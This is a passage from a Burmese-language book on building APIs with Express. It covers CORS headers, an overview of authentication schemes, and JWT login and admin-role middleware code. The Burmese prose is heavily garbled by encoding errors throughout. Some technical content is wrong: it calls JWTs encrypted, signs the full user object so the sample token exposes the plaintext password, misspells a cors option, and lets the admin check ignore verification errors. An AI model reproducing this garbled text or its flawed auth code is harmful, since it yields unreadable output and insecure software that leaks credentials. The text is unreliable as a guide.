ကျွန်ကြေတာ်တိုရ့ဲ့  API  ကို  JavaScript  ရဲ့  fetch() Function  သုံးပြပီး  Request  ကြေပးပုိလုိ့က်တာပါ။ စမ်း
eကည့်နိုင်oုိ့  API Server Run  ထားကြေပးoုိက့ြေတာ့ လုိပါတယ်။ ကြေရးထားတဲ့  ကုဒ်အရ  Server  က gပန်ကြေပးတဲ့
Response  ကို  JSON  ကြေgပာင်းပြပီး  Console  မှာ ရုိက်ထုတ်ခိုင်းလုိက်ပါတယ်။ ဒီကုဒ်ကို  Browser  မှာ စမ်း
eကည့်ရင် အခုလုိ Error ကို ရရှိမှာgoစ်ပါတယ်။

ဒါဟာ Browser က Origin မတူတဲ့အတွက် CORS နဲ ့ညိကြေနလုိ့ ကြေပးတဲ့ Error ပါ။

CORS  နဲ့  ညိကြေနလုိဆ့ိုပြပီး  Request  ကြေတွ လုံးဝမပုိတ့ာကြေတာ့ မဟုတ်ပါyူး။  OPTIONS Method  ကိုသုံးပြပီး
Origin  မတူတာကို  လက်ခံလုိgခင်း ရှိမရှိ  Server  ကို  လှမ်းကြေတာ့ ကြေမးကြေပးပါတယ်။  Browser  က အလုိအ
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ကြေလျှာက် ကြေမးကြေပးတာပါ။ ကိုယ်yက်က အ့ဲဒီလုိကြေမးကြေပးoုိ့ သတ်မှတ်ကြေပးစရာ မလုိပါyူး။ CORS ရဲ့ အလုပ်
လုပ်ပုံ အဆင့်ဆင့်ကို ဆက်လက်ကြေoာ်gပတဲ့ပုံမှာ ကြေလ့လာeကည့်ပါ (ပုံ - MDN)။

ပထမဆံုး  Browser  က  OPTIONS Method  ကိုသုံးပြပီး  Request  ပုိပ့ါတယ်။  မူလ  Origin က
foo.example goစ်ပြပီး  ကြေပးပုိလုိ့တဲ့  Method  က  POST goစ်ကြေeကာင်း  Access-Control-
Request-Method Header နဲ့ကြေgပာပါတယ်။ ပုိ့လုိတဲ့ Headers စာရင်းကိုလည်း ထည့်ကြေgပာပါတယ်။
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Server  က  ခွင့်မgပုyူးဆိုကြေတာ့မှ  ကြေစာကြေစာက  Error  ကို  ကြေတွ့ရတာပါ။  ခွင့်gပုတယ်ဆိုရင်  Server  က
Access-Control-Allow-* နဲ့ စတဲ့ Headers ကြေတွကို gပန်ပုိ့ကြေပးပါတယ်။ ခွင့်gပုတဲ့ Origin ကြေတွ၊ ခွင့်
gပုတဲ့  Methods  ကြေတွ၊ ခွင့်gပုတဲ့  Headers  ကြေတွကို စာရင်းနဲ့ gပန်ပုိတ့ာပါ။ ဒီလုိ  Server  က ခွင့်gပုတယ်ဆို
ကြေတာ့မှ  Browser  က  မူလကြေပးပုိ့လုိတဲ့  Request  ကြေတွကို  ဆက်ပြပီးကြေပးပုိ့ကြေပးသွားမှာပဲ  goစ်ပါတယ်။  ဒီ
သကြေyာသyာဝကို Preflight Request လုိ ့ကြေခါ်ပါတယ်။ ဒါဟာ CORS ရဲ့ အလုပ်လုပ်ပံု အနှစ်ချုပ်ပါပဲ။

ဒီကြေတာ့ ကျွန်ကြေတာ်တို့  API  yက်က CORS Request ကြေတွကို ခွင့်gပုမှာလား စဉ်းစားစရာရှိလာပါပြပီ။ ခွင့်gပု
မယ်ဆိုရင်ကြေတာ့ အခုလုိ ကြေရးသားသတ်မှတ်ပြပီး ခွင့်gပုကြေပးနိုင်ပါတယ်။

 JavaScript 

app.get("/api/records", function(req, res) {
    res.append("Access-Control-Allow-Origin", "*");
    res.append("Access-Control-Allow-Methods", "*");
    res.append("Access-Control-Allow-Headers", "*");
    … 
});

Headers (၃)  ခု  ထည့်ကြေပးလုိက်တာပါ။  Access-Control-Allow-Origin နဲ့  ခွင့်gပုလုိတဲ့  Host
ကြေတွကို သတ်မှတ်ကြေပးနိုင်ပါတယ်။ နမူနာမှာ * ကိုကြေပးထားလုိ့ Origin yယ်ကလာလာ အကုန် ခွင့်gပုတယ်
ဆိုတဲ့ အဓိပ္ပါယ်ရပါတယ်။ http://a.com, http://b.com စသgoင့် ခွင့်gပုလုိတဲ့  Host ကြေတတွန်း
စီပြပီး  ကြေပးထားလုိ့လည်းရပါတယ်။  Access-Control-Allow-Methods ကကြေတာ့  ခွင့်gပုလုိတဲ့
Methods စာရင်းအတွက်ပါ။ အတူတူပါပဲ၊ တစ်ခုချင်းကြေပးချင်ရင် GET, HEAD, POST စသgoင့် တန်းစီ
ပြပီးကြေပးထားလုိရ့ပါတယ်။ အကုန်ကြေပးချင်ရင်ကြေတာ့ နမူနာမှာလုိ  *  ကိုကြေပးလုိက်ရင် ရပါတယ်။ ဒီကြေလာက်ဆို
သကြေyာကြေပါက်မယ်ထင်ပါတယ်။ Headers လည်း ထုိနည်းလည်းကြေကာင်း အတူတူပါပဲ။

ကြေရးထားတဲ့ကုဒ်အရ /api/records URL တစ်ခတုည်းအတွက်ပဲ CORS Headers ကြေတွ သတ်မှတ်ထား
တာပါ။ ဒါကြေeကာင့် တgခား URL ကြေတွအတွက် အလုပ်လုပ်မှာ မဟုတ်ပါyူး။ အားလုံးအတွက် အလုပ်လုပ်ကြေစ
ချင်ရင် အခုလုိ ကြေရးလုိရ့ပါတယ်။
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 JavaScript 

app.use(function(req, res, next) {
    res.append("Access-Control-Allow-Origin", "*");
    res.append("Access-Control-Allow-Methods", "*");
    res.append("Access-Control-Allow-Headers", "*");
    next();
});

use() ရဲ့အကူအညီနဲ့  Response  အားလုံးအတွက်  CORS Headers  ကြေတွသတ်မှတ်ကြေပးလုိက်တာပါ။ ဒါ
ဟာ Middleware တစ်ခုgoစ်လုိ့  next() ကိုသတိgပုပါ။ သူ့ရဲ့အဓိပ္ပါယ်က ဒီ Middleware ကိုအလုပ်လုပ်
ပြပီးရင် ကြေရှ့ဆက်ပြပီး လုပ်စရာရှိတာ လုပ်သွားကြေစoုိ့goစ်ပါတယ်။ ဒီလုိကိုယ့်yာသာ မကြေရးချင်yူးဆိုရင်လည်း
cors လုိ့ကြေခါ်တဲ့ Package တစ်ခရုှိပါတယ်။ install လုပ်ပြပီး သုံးလုိရ့ပါတယ်။

npm i cors

ကြေရးပုံကြေရးနည်းကရှင်းပါတယ် ဒီလုိပါ။

 JavaScript 

const cors = require("cors");
app.use(cors());

ဒါပါပဲ။  ဒါဆိုရင်  ကြေစာကြေစာက  ကျွန်ကြေတာ်တို့  Manual  ကိုယ့်yာသာ  သတ်မှတ်ကြေပးလုိက်ရတဲ့  CORS
Headers  ကြေတွ  ကြေပးစရာမလုိကြေတာ့ပါyူး။  အကုန်လက်ခံချင်တာမဟုတ်yူး၊  ကြေရွးပြပီးလက်ခံချင်တယ်ဆိုရင်
လည်း Options ကြေတွ အခုလုိကြေပးလုိရ့ပါတယ်။

 JavaScript 

app.use(cors({
    origin: ["http://a.com", "http://b.com"],
    methods: ["GET", "POST"],
    allowHeaders: ["Authorization", "Content-Type"] 
}));

ဒါကြေeကာင့် ကြေရးနည်းကမခက်yူးလုိ့ ဆိုနိုင်ပါတယ်။ နည်းပညာရဲ့ သကြေyာကို သိထားoုိသ့ာ လုိအပ်တာပါ။ 
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အခန်း (၇၅) – API Auth

API  မှာ  ဝင်ခွင့်gပုမgပုစီစစ်gခင်း၊  လုပ်ခွင့်gပုမgပုစီစစ်gခင်း  စတဲ့  Authentication/Authorization  နဲ့  ပက်
သက်ရင် အသုံးများတဲ့ နည်းလမ်းအကြေနနဲ့ ဒီလုိမျ ို း (၅) မျ ို း ရှိပါတယ်။

1. HTTP Basic
2. Session
3. Token
4. JWT
5. OAuth2

HTTP Basic Authentication ရဲ့အလုပ်လုပ်ပံုက ဒီလုိပါ (ပုံ - MDN)။
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Client  က  Resource  တစ်ခုကို  Request  လုပ်တဲ့အခါ  Server  က  401 Unauthorized  ကို  gပန်ကြေပးပါ
တယ်။  တစ်လက်စတည်း  WWW-Authenticate Header  နဲအ့တူ  အသံုးgပုရမယ့်  Authentication
Method ကို အကြေeကာင်းgပန်ပါတယ်။ နမူနာပံုအရ Basic Authentication ကို အသံုးgပုရမယ်လုိ့  Server
က ကြေgပာကြေနတာ goစ်တဲ့အတွက်  Client  က ကြေနာက်တစ်ကြကိမ်မှာ  Authorization Header  နဲ့အတူ
Username, Password ကို  Base64 Encode  နဲ့  Encode လုပ်ပြပီး gပန်ပုိ့ပာထားgခင်း goစ်ပါတယ်။ ဒီနည်း
ကကြေတာ့ ရှင်းပါတယ်။  Client    ကလုိအပ်တဲ့    Username, Password    ကို    Header    မှာ ထည့်ပုိ့gခင်းgoစ်ပြပီး  
Request   gပုလုပ်တဲ့ အကြကိမ်တိုင်းမှာ ထည့်ပုိ့ကြေပးoုိ ့လုိအပ်ပါတယ်  ။

Session Authentication ကကြေတာ့  API  မှာ သုံးကြေလ့ သိပ်မရှိeကပါyူး။ သုံးလုိမ့ရတာ မဟုတ်ပါyူး။ ရပါ
တယ်။ ဒါကြေပမယ့်  REST  ရဲ့  မူသကြေyာအရ  Stateless  goစ်ရမယ်ဆိုတဲ့  သတ်မှတ်ချက်  ရှိထားတဲ့အတွက်
Session က ဒီမူနဲ့ မကိုက်လုိ့ပါ။ Session Authentication ရဲ့ အလုပ်လုပ်ပံုကကြေတာ့ ဒီလုိပါ။

1. ပထမတစ်ကြကိမ် Client က Username, Password ကို Request နဲအ့တူ ကြေပးရပါမယ်။
2. Server  က စစ်ပြပီး မှန်တယ်ဆိုရင်  User  နဲ့  သက်ဆိုင်တဲ့  အချက်အလက်ကြေတွကို  Session  ထဲမှာ

သိမ်းလုိက်ပါတယ်။
3. Server က Session ID ကို Response နဲ့အတူ gပန်ပုိ့ကြေပးပါတယ်။
4. Client က လက်ခံရရှိတဲ့ Session ID ကို Cookie ထဲမှာ သိမ်းပါတယ်။
5. ကြေနာက်ပုိင်းမှာ  Username, Password ထပ်ကြေပးစရာမလုိကြေတာ့ပါyူး။  Cookie  ထဲမှာသိမ်းထားတဲ့

Session ID ကိုပဲ  gပန်ပုိရ့ကြေတာ့မှာပါ။  Session ID  နဲစ့စ်eကည့်လုိက်လုိ့  Session  ထဲမှာ  User  ရဲ့
အချက်အလက်ကြေတွ ရိှကြေနသ၍ Authenticate goစ်တယ်လုိ့ လက်ခံပြပီး Server က အလုပ်လုပ်ကြေပး
သွားမှာ မုိလုိ့ပ့ါ။
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Token Authentication  ကိုကြေတာ့  API  မှာ ကျယ်ကျယ်gပန့်gပန့်သုံးeကပါတယ်။  Stateless  goစ်တဲ့အတွက်
ကြေeကာင့်ပါ။ Cookie ကြေတွ Session ကြေတွ မလုိအပ်ပါyူး။ သူ့ရဲ့အလုပ်လုပ်ပံုကဒီလုိပါ။

• ပထမတစ်ကြကိမ် Client က Username, Password ကို Request နဲအ့တူ ကြေပးရပါတယ်။
• Server က စစ်ပြပီး မှန်တယ်ဆိုရင်   Token   တစ်ခု   Generate   လုပ်ပြပီး   Response   gပန်  ကြေပးပါတယ်  ။
• Token ကို User Table ထဲမှာလည်း သိမ်းထားကြေကာင်း ထားလုိက်နိုင်လုိက်ပါတယ်။
• ကြေနာက်ပုိင်းမှာ Client က Username, Password ကြေပးစရာမလုိကြေတာ့ပါyူး၊ ရထားတဲ့  Token ကို

ပဲgပန်ကြေပးရကြေတာ့မှာပါ။  Server  က  Token  ကိုစစ်eကည့်ပြပီး  မှန်ကန်တယ်ဆိုရင်  Authenticate
Request အgoစ် လက်ခံအလုပ်လုပ်ကြေပးမှာပါ။

JWT ကလည်း Token Authentication   တစ်မျ ို းပါပဲ  ။  JSON Web Token ရဲ့ အတိုကြေကာက် goစ်ပါတယ်။
ရုိးရုိး Token Authentication မှာ Token က Random Hash Value တစ်ခုgoစ်ကြေလ့ရှိပါတယ်။ အ့ဲဒီ Token
ထဲမှာအသုံးဝင်တဲ့ အချက်အလက် မပါပါyူး။

JWT  ကကြေတာ့ အ့ဲဒီလုိ  Random Token  မဟုတ်ကြေတာ့ပါyူး။  User Information  ကြေတွကို  Encrypt  လုပ်
ထားတဲ့ Token goစ်သွားတာပါ။ ဒါကြေeကာင့် User Information လုိချင်ရင် Token ကို Decrypt လုပ်ပြပီး gပန်
ထုတ်ယူလုိရ့ပါတယ်။  Token  ထဲမှာ အသံုးဝင်တဲ့  အချက်အလက်ကြေတွ  ပါသွားတဲ့  သကြေyာပါ။ ခဏကြေနတဲ့
အခါ JWT ကိုသုံးပြပီး ကုဒ်နမူနာကြေတွ ကြေရးgပပါမယ်။

OAuth2 ကကြေတာ့ ရှုပ်ပါတယ်။ နည်းနည်းမဟုတ်ပါyူး ကြေတာ်ကြေတာ်ရှုပ်တာပါ။  အတက်နိုင်ဆံုး  ကြကိုးစားပြပီး
ကြေတာ့ ရှင်းကြေအာင် ကြေgပာeကည့်ပါမယ်။ OAuth   မှာ အစတိ်အပုိင်း   (  ၄  )   ပုိင်းပါတယ်လုိ့ မှတ်ပါ  ။ မျက်စိထဲ gမင်
လွယ်ကြေအာင် Facebook နဲ ့ဥပမာကြေပးချင်ပါတယ်။ ဒီလုိပါ။

1. User (သင်)
2. Client Application (Facebook နဲ ့Login ဝင်ရတဲ့ App)
3. Resource Server (Facebook)
4. Authorization Server (Facebook Developer API)
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ဒီသကြေyာနဲ့ အလုပ်လုပ်ပံုကို ကြေတွ့oူးeကပါလိမ့်မယ်။ App တစ်ခုကို သံုးချင်လုိ့oွင့်လုိက်တယ်။ Login with
Facebook ဆိုတဲ့လုပ်ကြေဆာင်ချက်ပါတယ်။ ဒါကြေeကာင့် အ့ဲဒီ App ကိုသုံးoုိ့ Facebook နဲ့ Login ဝင်လုိရ့မယ်။
နှိပ်လုိက်တယ်။  Dialog  Box  ကြေပါ်လာပြပီး  Facebook  နဲ့  Login  ဝင်တာကို  Accept  လုပ်မှာလားလုိ့
Facebook Developer API  ကလာကြေမးတယ်။ Accept  လုပ်ကြေပးလုိက်ရင် အ့ဲဒီ  App ကို ကိုယ့်  Facebook
Account နဲ ့ဝင်သုံးလုိ့ ရသွားပါပြပီ။

ဒီလုိပုံစံ  အလုပ်လုပ်နိုင်ကြေစoုိအ့တွက်  OAuth  ကို  အသံုးgပုရတာပါ။  ကြေသချာစဉ်းစားeကည့်ပါ။  ပံုမှန်ဆိုရင်
ကိုယ့် API က ကြေပးထားတဲ့  Auth နဲ့ ကိုယ့် API ကိုသုံးရတာပါ။ အခုက ကိုယ့်   API   က ကြေပးထားတဲ့    Auth   နဲ့  
တgခား    App    မှာ သွားပြပီးသုံးလုိ့  ရကြေနတာပါ  ။ သူ့ရဲ့အလုပ်လုပ်ပံုကို  ကြေအာက်က ပံုမှာကြေလ့လာeကည့်ပါ  (ပုံ  -
Digital Ocean)။

1, 2, 3, 4 နံပါတ်စဉ်တပ်ကြေပးလုိ့ အစီအစဉ်အတိုင်း eကည့်သွားလုိ ့ရပါတယ်။ 
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1. ပထမဆံုးအကြေနနဲ၊့ Facebook နဲ ့Login ဝင်oုိ ့User က ခွင့်gပုမgပုကြေမးရပါတယ်။
2. User က Allow လုပ်ပြပီး ခွင့်gပုလုိက်တဲ့အခါ Authorization Code ထွက်လာပါတယ်။
3. App က Authorization Code ကိုသုံးပြပီး Facebook Developer API ကို User ရဲ့ အချက်အလက်

ကြေတွ Access   လုပ်ခွင့်   ကြေတာင်းပါတယ်။

a) App ကို Developer API မှာအရင် Register လုပ်ထားoုိလ့ည်း လုိပါကြေသးတယ်။ ဒီကြေတာ့ မှ 
Client ID ကြေတွyာကြေတွထက်လာမှာပါ။

b) Client ID ကြေတွyာကြေတွ ကြေသကြေသချာချာ gပည့်စံုမှန်ကန်ကြေအာင်ပါမှ User ရဲ့ အချက်အလက်ကို 
Third-party yယ် App က ယူသလဲဆိုတဲ့ မှတ်တမ်းကိုရမှာမုိလုိ့ပ့ါ။

4. Authorization Code, Client ID  နဲ့  အချက်အလက် gပည့်စံုမှန်ကန်တယ်ဆိုရင်  Developer API
က Access Token gပန်ထုတ်ကြေပးပါတယ်။

5. App က လုိချင်တဲ့ User ရဲ့အချက်အလက်ကို အ့ဲဒီ Access Token   ကိုသုံးပြပီး   ရယူလုိရ့သွားပါပြပီ။

ကိုယ့်  Service  က  Facebook  လုိ  Resource  Server  goစ်နိုင်သလုိ၊  Facebook  Developer  API  လုိ
Authorization Server လည်း goစ်နိုင်ပါတယ်။ ဒါဟာ OAuth ရဲ့ အလုပ်လုပ်ပံု အကျဉ်းချုပ်ပါပဲ။  အကျယ်
ကြေgပာမယ်ဆိုရင်  သူ့ချည်းပဲ  စာတစ်အုပ်စာ  ရှိပါလိမ့်မယ်။  ဒါကြေeကာင့်  သကြေyာသyာဝ  ပုိင်းကြေလာက်ပဲ
မှတ်ထားကြေပးပါ။  OAuth  အကြေeကာင်း  Digital  Ocean  မှာကြေoာ်gပထားတဲ့  ကြေဆာင်းပါးတစ်ပုဒ်ကို  goည့်စွက်
ကြေလ့လာeကည့်oုိ ့အကြကံgပုပါတယ်။

- https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2

JWT Authentication & Authorization
JWT  ရဲ့  သကြေyာသyာဝကို  အကြေပါ်မှာ ကြေgပာခဲ့ပါတယ်။  Token    ကို  အကြေgခခံတဲ့    Authentication    goစ်ပြပီး  
ကြေတာ့   Token   ထဲမှာ အသံုးဝင်တဲ့ အချက်အလက်ကြေတွ ပါဝင်မှာပါ  ။ ဒီအတွက် Token oန်တီးတာကြေတွ၊ မှန်မ
မှန် gပန်စစ်တာကြေတွ၊ Token ကို Encrypt/Decrypt လုပ်တာကြေတွ၊ အကုန်လုပ်ကြေပးနိုင်တဲ့ Package တစ်ခုရှိ
ပါတယ်။ jsonwebtoken လုိ့ကြေခါ်ပါတယ်။ စမ်းသပ်နိုင်oုိ့အတွက် ကြေရးသားလက်စ ပကြေရာင်္ဂျက်ထဲမှာ အခု
လုိ Install လုပ်လုိက်ပါ။

https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2
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npm i jsonwebtoken

ပြပီးတဲ့အခါ၊ ထံုးစံအတိုင်း Import လုပ်ကြေပးလုိက်ရင် စသုံးလုိရ့ပါပြပီ။

 JavaScript 

const jwt = require("jsonwebtoken");
const secret = "horse battery staple";

နမူနာကုဒ်မှာကြေတွ့ရတဲ့  secret ဆိုတာကကြေတာ့  Token  ကြေတွကို  Encrypt/Decrypt  လုပ်ရာမှာ သုံးမယ့်
Code goစ်ပါတယ်။  Auth  လုပ်ငန်းကြေတွ စမ်းသပ်ကြေရးသားနိုင်oုိအ့တွက်  User Account  တစ်ချ ို ့ လုိပါမယ်။
Database ကြေတွyာကြေတွမသုံးကြေတာ့ပါyူး။ ရုိးရုိး JSON Array တစ်ခုနဲပ့ဲစမ်းeကည့်eကပါမယ်။ ဒီလုိပါ -

 JavaScript 

const users = [
    { username: "Alice", password: "password", role: "admin" },
    { username: "Bob", password: "password", role: "user" },
];

User Account  နှစ်ခုရှိပါတယ်။  role မတူeကပါyူး။  တစ်ဦးက  admin goစ်ပြပီး  ကြေနာက်တစ်ဦးကကြေတာ့
user goစ်ပါတယ်။ ပြပီးတဲ့အခါ login လုပ်ကြေဆာင်ချက်တစ်ခုကို အခုလုိကြေရးeကပါမယ်။

 JavaScript 

app.post("/api/login", function (req, res) {
const { username, password } = req.body;

const user = users.find(function (u) {
    return u.username === username && u.password === password;
});

if (user) {
    const token = jwt.sign( user, secret, {expiresIn: "1h"});
    res.json({ token });
} else {
    res.sendStatus(401);
}

});
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Request Method POST goစ်ရမှာgoစ်ပြပီး URL က /api/login goစ်ပါတယ်။ Request နဲအ့တူ မှန်ကန်
တဲ့  Username, Password  ပါရမှာgoစ်ပြပီး၊ မှန်တယ်ဆိုရင်  JWT Token တစ်ခုကို  gပန်ကြေပးမှာပါ။ မမှန်ရင်
401 ကို gပန်ပုိမှ့ာပါ။ jwt.sign() ကိုသုံးပြပီး Token oန်တီးယူပါတယ်။ Parameter (၃) ခု ကြေပးထားပါ
တယ်။  User  Data,  Secret  နဲ့  Expire  Time  တို့goစ်ပါတယ်။  Request  က  ဒီလုိပံုစံ  ဝင်လာတယ်လုိ့
သကြေyာထားပါ။

 Request 

POST /api/login
Content-type: appliction/json
{ username: "Bob", password: "password" }

ဒါဆိုရင် gပန်ရမယ့် Token ရဲ့ oဲွ့စည်းပံုက ဒီလုိပုံစံ goစ်နိုင်ပါတယ်။ Postman နဲ့ စမ်းeကည့်နိုင်ပါတယ်။

 Token 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJvYiIsInBhc3
N3b3JkIjoicGFzc3dvcmQiLCJyb2xlIjoidXNlciIsImlhdCI6MTYwMDc2MzI1NiwiZ
XhwIjoxNjAwNzY2ODU2fQ.-OBn8nIEmJqdNc9XfoUVVcZc7PEVUWHVQOP85YIlygo

Token  တည်ကြေဆာက်စဉ်မှာ  Expire Time  ကြေပးခဲ့တာကို  သတိgပုပါ။ ဒီ  Token  ဟာ  (၁)  နာရီသက်တမ်း
အတွင်းပဲ  Valid goစ်မှာပါ။ (၁) နာရီကြေကျာ်ရင် ကြေနာက်တစ်ခါ login လုပ်ပြပီး  Token gပန်ထုတ်ရမှာgoစ်ပါ
တယ်။ Token မှန်မမှန်စစ်တဲ့ Function တစ်ခုကြေလာက် ဆက်ကြေရးeကပါမယ်။
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 JavaScript 

function auth(req, res, next) {
    const authHeader = req.headers["authorization"];
    if(!authHeader) return res.sendStatus(401);

    const [ type, token ] = authHeader.split(" ");

    if(type !== "Bearer") return res.sendStatus(401);

    jwt.verify(token, secret, function(err, data) {
        if(err) res.sendStatus(401);
        else next();
    });
}

Authorization Header  ပါမပါ  စစ်ပါတယ်။ မပါရင်  401  gပန်ပုိပ့ါတယ်။  JWT  ရဲ့  Standard  အရ
Authorization Header ရဲ့ oဲွ့စည်းပံု ဒီလုိgoစ်ရပါတယ်။

Authorization: Bearer [token]

ဒါကြေeကာင့် Authorization Header Value ကို Split လုပ်ပြပီး နှစ်ပုိင်းခွဲလုိက်ပါတယ်။ ပထမတစ်ပုိင်းက
Bearer  goစ်ပြပီး ကြေနာက်တစ်ပုိင်းက Token  goစ်ရပါမယ်။  Token  ကို  verify() နဲ့  မှန်မမှန်စစ်ပါတယ်။
မှန်တယ်ဆိုကြေတာ့မှ next() နဲ့ ဆက်အလုပ်လုပ်ခွင့်ကို ကြေပးထားgခင်း goစ်ပါတယ်။

ဒီ Function က Middleware Function တစ်ခုgoစ်ပါတယ်။ ဒါကြေပမယ့် app.use() နဲ ့Route အားလုံးမှာ
သုံးoုိ့ သတ်မှတ်မထားပါyူး။ သတ်မှတ်လုိမ့goစ်ပါyူး။ login လုိလုပ်ကြေဆာင်ချက်မျ ို းကို Token ပါရမယ်
လုိ့  သွားကြေgပာလုိ့  မgoစ်ပါyူး။  Token  မရှိလုိ့yဲ  login နဲ့  Token  ထုတ်ကြေနတာပါ။  ဒါကြေeကာင့်  ကိုယ်
သတ်မှတ်ချင်တဲ့ Route မှာပဲ အခုလုိ သတ်မှတ်ကြေပးလုိက်လုိ ့ရပါတယ်။

 JavaScript 

app.get("/api/records", auth, function(req, res){
    …
});
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ဒီသတ်မှတ်ချက်အရ  /api/records ကို  Request  ဝင်လာတဲ့အခါ ကြေစာကြေစာကကြေရးကြေပးထားတဲ့  auth
Middleware ကိုသုံးပြပီး စစ်ကြေပးသွားမှာပါ။ Token မပါရင် 401 ကိုgပန်ကြေပးမှာgoစ်ပြပီး Token မမှန်ရင်လည်း
401  ကိုပဲ  gပန်ကြေပးသွားမှာပါ။ အလုပ်လုပ်ခွင့်ကြေပးမှာ မဟုတ်ပါyူး။  Token  မှန်မှသာ ဆက်အလုပ်လုပ်ခွင့်
ကြေပးမှာပဲ goစ်ပါတယ်။ ဒီနည်းနဲ့ ကိုယ့်  API  အတွက်  Authentication  လုပ်ကြေဆာင်ချက် ထည့်သွင်းနိုင်gခင်း
goစ်ပါတယ်။

စမ်းeကည့်နိုင်oုိအ့တွက် အရင်ဆံုး login လုပ်လုိက်ပါ။ ရလာတဲ့ Token ကိုသုံးပြပီး ဆက်လက်ကြေoာ်gပထား
တဲ့ပုံမှာ နမူနာgပထားသလုိ စမ်းeကည့်နိုင်ပါတယ်။

ဒါက Authentication  ပုိင်းပါ။  Token  ပါတယ်၊ မှန်တယ်ဆိုရင် ခွင့်gပုလုိက်တာပါ။  role ကြေပါ်မူတည်ပြပီး
သက်ဆိုင်ရာအလုပ်ကို  လုပ်ပုိင်ခွင့်ရှိမရှိ  စစ်တဲ့တဲ့  Authorization  ပုိင်းကိုလည်း  ဆက်eကည့်ပါဦးမယ်။
ကြေနာက်ထပ် Function တစ်ခုအခုလုိ ထပ်ကြေရးကြေပးရမှာပါ။
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 JavaScript 

function onlyAdmin(req, res, next) {
    
    const [ type, token ] = req.headers["authorization"].split(" ");

    jwt.verify(token, secret, function(err, user) {
        if(user.role === "admin") next();
        else res.sendStatus(403);
    });
}

Token ကို Decrypt လုပ်လုိက်ပြပီး အထဲက role တန်oုိးကိုပဲ စစ်လုိက်တာပါ။ role က admin goစ်မှပဲ
ဆက်လုပ်ခွင့်ကြေပးပြပီး admin မဟုတ်ရင် 403 ကို gပန်ကြေပးထားပါတယ်။ ဒီ Middleware ကို Admin goစ်မှ
လုပ်ခွင့်gပုချင်တဲ့ Route ကြေတွမှာ အခုလုိ ထည့်ကြေပးနိုင်ပါတယ်။

 JavaScript 

app.delete("/api/records/:id", auth, onlyAdmin, function(req, res) {
    … 
});

နမူနာအရ DELETE လုပ်ကြေဆာင်ချက်အတွက် auth ကြေရာ onlyAdmin ကိုပါ  Middleware ကြေတွအgoစ်
သတ်မှတ်ကြေပးလုိက်တာပါ။ ဒါကြေeကာင့် Auth goစ်ယုံနဲ့ကြေတာင် ဒီအလုပ်ကို လုပ်လုိမ့ရကြေတာ့ပါyူး။ role က
admin goစ်မှပဲ လုပ်ခွင့်ရှိကြေတာ့မှာgoစ်ပါတယ်။

ဒီနည်းနဲ့ JWT ကို သုံးပြပီး API အတွက် Authentication ကြေတွ Authorization ကြေတွ လုပ်လုိရ့နိုင်ပါတယ်။ ဒီ
ကုဒ်ဟာ  အကြေgခခံသကြေyာသyာဝကို  ကြေပါ်လွင်ကြေစoုိ့  ဦးစားကြေပး  ကြေoာ်gပတဲ့ကုဒ်goစ်ပါတယ်။  တစ်ကယ့်
လက်ကြေတွ့မှာ -

• User Account ကြေတွကို Database ထဲမှာထားပြပီး Register ကြေတyွာကြေတွလုပ်လုိရ့oုိလုိ့ပါမယ်။
• Password ကြေတွကို ဒီအတိုင်းမသိမ်းyဲ Hash လုပ်ပြပီး သိမ်းoုိလုိ့ပါမယ်။
• User နဲ ့Role ကြေတွကို စီမံနိုင်တဲ့ လုပ်ငန်းကြေတွ ထည့်ကြေရးကြေပးရပါမယ်။
• Secret ကို ကုဒ်ထဲမှာ အကြေသမကြေရးyဲ .env လုိoုိင်မျ ို းနဲ ့ခွဲထားပြပီးကြေခါ်သုံးကြေပးoုိ့ လုိပါမယ်။
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မကြေgပာgoစ်လုိက်တာမျ ို း goစ်မှာစိုးလုိ့သာ ထည့်ကြေgပာတာပါ။ ဒီကြေနရာမှာကြေတာ့ အ့ဲဒီထိပြပီးgပည့်စံုကြေအာင် ကြေoာ်gပ
နိုင်gခင်း မရှိပါyူး။ ဒီစာအုပ်မှာ ကြေoာ်gပခဲ့တဲ့ အကြေgခခံသကြေyာသyာဝကြေတွကို ကြေကာင်းကြေကာင်နားလည်တယ်
ဆိုရင် ဒါကြေတွကို ကိုယ်တိုင်ဆက်လက် ကြေလ့လာပြပီးလုပ်လုိရ့သွားမှာပါ။

API  Authentication  နဲပ့က်သက်ရင်  PassportJS  လုိ  Framework  မျ ို းကြေတွလည်းရှိပါကြေသးတယ်။  လူ
ကြကိုက်များပြပီး လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ တွင်တွင်ကျယ်ကျယ် အသံုးgပုeကပါတယ်။ ဒီလုိနည်းပညာမျ ို း
ကိုလည်း ဆက်လက်ပြပီး goည့်စွက်ကြေလ့လာထားeကoုိ ့တိုက်တွန်းပါတယ်။

- http://www.passportjs.org/

ကြေoာ်gပချင်တဲ့  အကြေeကာင်းအရာကြေတွ gပည့်စံုသွားပါပြပီ။  နမူနာအကြေနနဲ့  ကြေရးခဲ့တဲ့ကုဒ်ကြေတွကို  ဒီမှာ  Download
လုပ်လုိရ့ပါတယ်။

- https://github.com/eimg/api-book

https://github.com/eimg/api-book
http://www.passportjs.org/
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ကြေနာက်ဆံုးအကြေနနဲ့  API  နဲပ့က်သက်ပြပီး  goည့်စွက်ကြေလ့လာသင့်တဲ့  Resource  ကြေလးကြေတွ  ထည့်သွင်းကြေoာ်gပ
ကြေပးလုိက်ပါတယ်။

Best practices for a pragmatic RESTful API
- https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api

Specification for building APIs in JSON
- https://jsonapi.org/

Stack Overflow Best practices for REST API design
- https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/

Microsoft REST API Guideline
- https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md

Google JSON Style Guide
- https://google.github.io/styleguide/jsoncstyleguide.xml

REST in Practice (Book)
- http://restinpractice.com/

http://restinpractice.com/
https://google.github.io/styleguide/jsoncstyleguide.xml
https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md
https://stackoverflow.blog/2020/03/02/best-practices-for-rest-api-design/
https://jsonapi.org/
https://www.vinaysahni.com/best-practices-for-a-pragmatic-restful-api
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နိဂုံုးချုပ်

ဒီစာအုပ်ဟာ  ကျွန်ကြေတာ်ကြေရးသားထားတဲ့  မူလပထမ  Professional  Web  Developer  စာအုပ်ရဲ့
